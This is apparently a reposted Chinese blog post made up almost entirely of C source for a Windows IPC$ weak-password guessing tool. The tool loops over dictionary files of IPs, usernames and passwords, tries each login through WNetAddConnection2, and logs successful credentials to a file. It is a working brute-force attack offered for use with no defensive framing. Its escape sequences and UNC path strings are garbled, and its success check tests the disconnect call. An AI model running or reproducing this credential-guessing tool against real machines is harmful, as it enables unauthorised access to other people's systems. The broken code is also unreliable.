IPC空连接测试代码

//****************************************************
//****** 网蝉工具--135弱口令猜解器 ******
//ip.txt纪录要猜测的IP地址。
//user.txt纪录要猜测的用户名。
//password.txt纪录要猜测的密码。
//3个文件格式为标准的字典文件, 方便与修改和承接其他扫描器扫出的结果。
//****************************************************
#include "windows.h"
#include "stdio.h"
#include <winnetwk.h>
#pragma comment(lib,"mpr")
int main(int argc, char* argv[])
{
 
 NETRESOURCE nr; 
 DWORD res;
 TCHAR server[100]="";
 FILE *ipfile,*userfile,*passfile,*ipokfile;
 TCHAR ipString[15],userString[32],passString[32],okip[200];
 if((ipfile=fopen("ip.txt","r"))==NULL)
 {
 printf("ip.txt文件不存在!");
 exit(0);
 }
// fseek(ipfile,0,SEEK_SET);
 while (fgets(ipString,sizeof(ipString),ipfile)!=NULL)
 {
 if((userfile=fopen("user.txt","r"))==NULL)
 {
 printf("user.txt文件不存在!");
 exit(0);
 }
 // fseek(userfile,0,SEEK_SET);
 while(fgets(userString,sizeof(userString),userfile)!=NULL)
 {
 if((passfile=fopen("password.txt","r"))==NULL)
 {
 printf("password.txt文件不存在!");
 exit(0);
 }
 // fseek(passfile,0,SEEK_SET);
 while(fgets(passString,sizeof(passString),passfile)!=NULL)
 {
 strtok(ipString,"/n");
 strtok(userString,"/x0a");
 strtok(passString,"/x0a");
 // printf("%s",ipString);
 // printf("%s",userString); 
 // printf("%s",passString);
 sprintf(server,"////%s//ipc$",ipString);
 strtok(server,"/x0a");
 // printf("%s",server);
 nr.dwType=RESOURCETYPE_ANY; 
 nr.lpLocalName=NULL;
 nr.lpRemoteName=server; 
 nr.lpProvider=NULL; 
 res=WNetAddConnection2(&nr,passString,userString,0);//创建IPC连接
 // if(res!=ERROR_SUCCESS)
 // {
 // printf("/nipc连接失败/n");
 // return 0;
 // }
 // else
 // printf("/npic$连接成功/n");
 res=WNetCancelConnection2(server,0,TRUE);//断开IPC连接
 if(res!=ERROR_SUCCESS)
 {
 printf("%s IPC连接失败/n",ipString);
 }
 else
 {
 // printf("/n成功了/n");
 sprintf(okip,"%s %s %s/n",ipString,userString,passString);
 // printf("%s",okip);
 if((ipokfile=fopen("ipok.txt","a"))==NULL)//将输出结果写入ipok.txt
 {
 printf("ipok.txt文件正在被别的文件所占用");
 exit(0);
 }
 // fseek(ipokfile,0,SEEK_END);
 fputs(okip,ipokfile);
 fclose(ipokfile);
 }
 
 }
 fclose(passfile);
 }
 fclose(userfile);
 }
 fclose(ipfile);
 return 0;
}
发布了172 篇原创文章 · 获赞 132 · 访问量 189万+

猜你喜欢

转载自blog.csdn.net/cosmoslife/article/details/7643458
IPC